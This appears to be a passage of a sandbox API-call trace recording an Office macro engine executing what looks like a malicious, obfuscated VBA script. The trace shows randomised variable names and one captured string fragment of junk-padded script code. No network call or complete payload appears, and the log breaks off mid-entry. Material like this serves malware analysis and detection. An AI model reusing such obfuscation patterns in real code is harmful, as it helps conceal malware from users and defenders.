lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="LZVzFpXjGFG") returned 12 [0018.697] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.697] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="LZVzFpXjGFG", lHashVal=0x10b8ab, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.697] IUnknown:Release (This=0x7919520) returned 0xd [0018.697] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.697] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="LZVzFpXjGFG", lHashVal=0x10b8ab, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.697] IUnknown:Release (This=0x7346470) returned 0xb [0018.697] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.697] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="LZVzFpXjGFG", lHashVal=0x10b8ab, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.697] IUnknown:Release (This=0x7345930) returned 0x7 [0018.697] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.697] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="LZVzFpXjGFG", lHashVal=0x10b8ab, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.697] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.697] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.697] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_LZVzFpXjGFG") returned 0x10aa0d [0018.697] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_LZVzFpXjGFG" | out: _Dst="_B_var_LZVzFpXjGFG") returned 0x0 [0018.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_LZVzFpXjGFG") returned 19 [0018.697] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.697] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_LZVzFpXjGFG", lHashVal=0x10aa0d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.697] IUnknown:Release (This=0x7919520) returned 0xd [0018.697] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.697] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_LZVzFpXjGFG", lHashVal=0x10aa0d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.697] IUnknown:Release (This=0x7346470) returned 0xb [0018.697] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.697] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_LZVzFpXjGFG", lHashVal=0x10aa0d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.697] IUnknown:Release (This=0x7345930) returned 0x7 [0018.697] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.697] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_LZVzFpXjGFG", lHashVal=0x10aa0d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.697] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.697] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.697] IUnknown:Release (This=0x7919520) returned 0xd [0018.697] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb630ec, cbMultiByte=10, lpWideCharStr=0xcdf2aa4, cchWideChar=22 | out: lpWideCharStr="RGcDOKLMNF") returned 10 [0018.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63106, cbMultiByte=10, lpWideCharStr=0xcdf2eee, cchWideChar=22 | out: lpWideCharStr="IGwqRntGwk") returned 10 [0018.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6311a, cbMultiByte=10, lpWideCharStr=0xcdf3098, cchWideChar=22 | out: lpWideCharStr="DzbBzFhWXU") returned 10 [0018.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6312e, cbMultiByte=10, lpWideCharStr=0xcdf3242, cchWideChar=22 | out: lpWideCharStr="jXlpzTufQE") returned 10 [0018.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63142, cbMultiByte=10, lpWideCharStr=0xcdf33ec, cchWideChar=22 | out: lpWideCharStr="BZmFifuQOq") returned 10 [0018.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63156, cbMultiByte=10, lpWideCharStr=0xcdf3596, cchWideChar=22 | out: lpWideCharStr="IqPcYUfbEJ") returned 10 [0018.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6316a, cbMultiByte=10, lpWideCharStr=0xcdf3740, cchWideChar=22 | out: lpWideCharStr="dpptZlVHsw") returned 10 [0018.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6317e, cbMultiByte=10, lpWideCharStr=0xcdf38ea, cchWideChar=22 | out: lpWideCharStr="tOptjdKWST") returned 10 [0018.699] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce00000 [0018.701] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NVzMlY") returned 0x10050d [0018.701] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="NVzMlY" | out: _Dst="NVzMlY") returned 0x0 [0018.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="NVzMlY") returned 7 [0018.701] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.701] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="NVzMlY", lHashVal=0x10050d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.701] IUnknown:Release (This=0x7919520) returned 0xd [0018.701] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.701] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="NVzMlY", lHashVal=0x10050d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.701] IUnknown:Release (This=0x7346470) returned 0xb [0018.701] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.701] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="NVzMlY", lHashVal=0x10050d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.701] IUnknown:Release (This=0x7345930) returned 0x7 [0018.701] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.701] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="NVzMlY", lHashVal=0x10050d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.701] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.701] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.701] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_NVzMlY") returned 0x107fb6 [0018.701] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_NVzMlY" | out: _Dst="_B_var_NVzMlY") returned 0x0 [0018.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_NVzMlY") returned 14 [0018.701] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.701] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_NVzMlY", lHashVal=0x107fb6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.701] IUnknown:Release (This=0x7919520) returned 0xd [0018.701] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.701] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_NVzMlY", lHashVal=0x107fb6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.701] IUnknown:Release (This=0x7346470) returned 0xb [0018.701] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.701] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_NVzMlY", lHashVal=0x107fb6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.701] IUnknown:Release (This=0x7345930) returned 0x7 [0018.701] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.701] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_NVzMlY", lHashVal=0x107fb6, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.701] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.701] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.701] IUnknown:Release (This=0x7919520) returned 0xd [0018.701] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6319c, cbMultiByte=10, lpWideCharStr=0xce01d8c, cchWideChar=22 | out: lpWideCharStr="GSDWBsSobc") returned 10 [0018.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb631b6, cbMultiByte=10, lpWideCharStr=0xce021d6, cchWideChar=22 | out: lpWideCharStr="UpYPttzVti") returned 10 [0018.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb631ca, cbMultiByte=10, lpWideCharStr=0xce02380, cchWideChar=22 | out: lpWideCharStr="PwaDsSEtAL") returned 10 [0018.702] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abd180 [0018.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb631de, cbMultiByte=10, lpWideCharStr=0xce0252a, cchWideChar=22 | out: lpWideCharStr="bhkMKXhtUc") returned 10 [0018.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb631f2, cbMultiByte=10, lpWideCharStr=0xce026d4, cchWideChar=22 | out: lpWideCharStr="MVOfuoCwDa") returned 10 [0018.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63206, cbMultiByte=10, lpWideCharStr=0xce0287e, cchWideChar=22 | out: lpWideCharStr="zaQbHKszdj") returned 10 [0018.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6321a, cbMultiByte=10, lpWideCharStr=0xce02a28, cchWideChar=22 | out: lpWideCharStr="oZnQBmFLEW") returned 10 [0018.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6322e, cbMultiByte=10, lpWideCharStr=0xce02bd2, cchWideChar=22 | out: lpWideCharStr="LEBRSuiuJD") returned 10 [0018.703] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce10000 [0018.704] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hpHzG") returned 0x10d1bb [0018.704] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="hpHzG" | out: _Dst="hpHzG") returned 0x0 [0018.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="hpHzG") returned 6 [0018.704] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.704] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="hpHzG", lHashVal=0x10d1bb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.704] IUnknown:Release (This=0x7919520) returned 0xd [0018.704] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.704] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="hpHzG", lHashVal=0x10d1bb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.704] IUnknown:Release (This=0x7346470) returned 0xb [0018.704] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.704] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="hpHzG", lHashVal=0x10d1bb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.704] IUnknown:Release (This=0x7345930) returned 0x7 [0018.704] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.704] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="hpHzG", lHashVal=0x10d1bb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.704] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.704] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.704] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_hpHzG") returned 0x1095a8 [0018.704] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_hpHzG" | out: _Dst="_B_var_hpHzG") returned 0x0 [0018.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_hpHzG") returned 13 [0018.705] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.705] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_hpHzG", lHashVal=0x1095a8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.705] IUnknown:Release (This=0x7919520) returned 0xd [0018.705] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.705] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_hpHzG", lHashVal=0x1095a8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.705] IUnknown:Release (This=0x7346470) returned 0xb [0018.705] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.705] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_hpHzG", lHashVal=0x1095a8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.705] IUnknown:Release (This=0x7345930) returned 0x7 [0018.705] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.705] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_hpHzG", lHashVal=0x1095a8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.705] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.705] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.705] IUnknown:Release (This=0x7919520) returned 0xd [0018.705] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6324c, cbMultiByte=10, lpWideCharStr=0xce1107c, cchWideChar=22 | out: lpWideCharStr="FIUdzrhoFv") returned 10 [0018.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63266, cbMultiByte=10, lpWideCharStr=0xce114c6, cchWideChar=22 | out: lpWideCharStr="RaAmYCwNfK") returned 10 [0018.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6327a, cbMultiByte=10, lpWideCharStr=0xce11670, cchWideChar=22 | out: lpWideCharStr="nzzWcspmPj") returned 10 [0018.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6328e, cbMultiByte=10, lpWideCharStr=0xce1181a, cchWideChar=22 | out: lpWideCharStr="nbTcMTwWth") returned 10 [0018.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb632a2, cbMultiByte=10, lpWideCharStr=0xce119c4, cchWideChar=22 | out: lpWideCharStr="zCkVqdTIFk") returned 10 [0018.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb632b6, cbMultiByte=10, lpWideCharStr=0xce11b6e, cchWideChar=22 | out: lpWideCharStr="rXIfwGIwBH") returned 10 [0018.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb632ca, cbMultiByte=10, lpWideCharStr=0xce11d18, cchWideChar=22 | out: lpWideCharStr="BvYYHpHYZE") returned 10 [0018.706] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abd3d0 [0018.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb632de, cbMultiByte=10, lpWideCharStr=0xce11ec2, cchWideChar=22 | out: lpWideCharStr="DZTzKkOijz") returned 10 [0018.707] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce20000 [0018.708] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CkLqJfFca") returned 0x10fbfb [0018.708] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="CkLqJfFca" | out: _Dst="CkLqJfFca") returned 0x0 [0018.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="CkLqJfFca") returned 10 [0018.708] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.708] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="CkLqJfFca", lHashVal=0x10fbfb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.708] IUnknown:Release (This=0x7919520) returned 0xd [0018.708] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.708] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="CkLqJfFca", lHashVal=0x10fbfb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.708] IUnknown:Release (This=0x7346470) returned 0xb [0018.708] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.708] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="CkLqJfFca", lHashVal=0x10fbfb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.708] IUnknown:Release (This=0x7345930) returned 0x7 [0018.708] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.708] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="CkLqJfFca", lHashVal=0x10fbfb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.708] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.708] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.708] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_CkLqJfFca") returned 0x100501 [0018.708] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_CkLqJfFca" | out: _Dst="_B_var_CkLqJfFca") returned 0x0 [0018.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_CkLqJfFca") returned 17 [0018.708] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.708] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_CkLqJfFca", lHashVal=0x100501, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.708] IUnknown:Release (This=0x7919520) returned 0xd [0018.708] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.708] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_CkLqJfFca", lHashVal=0x100501, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.708] IUnknown:Release (This=0x7346470) returned 0xb [0018.709] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.709] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_CkLqJfFca", lHashVal=0x100501, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.709] IUnknown:Release (This=0x7345930) returned 0x7 [0018.709] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.709] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_CkLqJfFca", lHashVal=0x100501, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.709] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.709] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.709] IUnknown:Release (This=0x7919520) returned 0xd [0018.709] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb632fc, cbMultiByte=224, lpWideCharStr=0xce2034c, cchWideChar=450 | out: lpWideCharStr="FqLFqV29KlIhc34L,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxjI2wPOzADXS064azvvOrsUv") returned 224 [0018.709] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abd620 [0018.709] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.709] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.709] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.709] IUnknown:Release (This=0x7919520) returned 0xd [0018.709] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.709] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fEpJa") returned 0x1057cb [0018.709] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="fEpJa" | out: _Dst="fEpJa") returned 0x0 [0018.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="fEpJa") returned 6 [0018.709] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.709] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="fEpJa", lHashVal=0x1057cb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.709] IUnknown:Release (This=0x7919520) returned 0xd [0018.709] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.709] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="fEpJa", lHashVal=0x1057cb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.709] IUnknown:Release (This=0x7346470) returned 0xb [0018.709] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.709] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="fEpJa", lHashVal=0x1057cb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.709] IUnknown:Release (This=0x7345930) returned 0x7 [0018.709] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.709] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="fEpJa", lHashVal=0x1057cb, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.709] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.709] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.709] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_fEpJa") returned 0x101bb8 [0018.710] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_fEpJa" | out: _Dst="_B_var_fEpJa") returned 0x0 [0018.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_fEpJa") returned 13 [0018.710] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.710] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_fEpJa", lHashVal=0x101bb8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.710] IUnknown:Release (This=0x7919520) returned 0xd [0018.710] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.710] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_fEpJa", lHashVal=0x101bb8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.710] IUnknown:Release (This=0x7346470) returned 0xb [0018.710] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.710] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_fEpJa", lHashVal=0x101bb8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.710] IUnknown:Release (This=0x7345930) returned 0x7 [0018.710] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.710] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_fEpJa", lHashVal=0x101bb8, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.710] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.710] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.710] IUnknown:Release (This=0x7919520) returned 0xd [0018.710] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb633f4, cbMultiByte=10, lpWideCharStr=0xce2122a, cchWideChar=22 | out: lpWideCharStr="PHqaMARJFA") returned 10 [0018.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6340e, cbMultiByte=10, lpWideCharStr=0xce21674, cchWideChar=22 | out: lpWideCharStr="ihPknmhwiH") returned 10 [0018.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63422, cbMultiByte=10, lpWideCharStr=0xce2181e, cchWideChar=22 | out: lpWideCharStr="jqshOuYwJM") returned 10 [0018.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63436, cbMultiByte=10, lpWideCharStr=0xce219c8, cchWideChar=22 | out: lpWideCharStr="bzqZUjjNDA") returned 10 [0018.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6344a, cbMultiByte=10, lpWideCharStr=0xce21b72, cchWideChar=22 | out: lpWideCharStr="VvGEripQdf") returned 10 [0018.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6345e, cbMultiByte=10, lpWideCharStr=0xce21d1c, cchWideChar=22 | out: lpWideCharStr="MkQBUYPIMR") returned 10 [0018.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63472, cbMultiByte=10, lpWideCharStr=0xce21ec6, cchWideChar=22 | out: lpWideCharStr="bTztZhrqQH") returned 10 [0018.711] MultiByteToWideChar (in: CodePage=0x0, 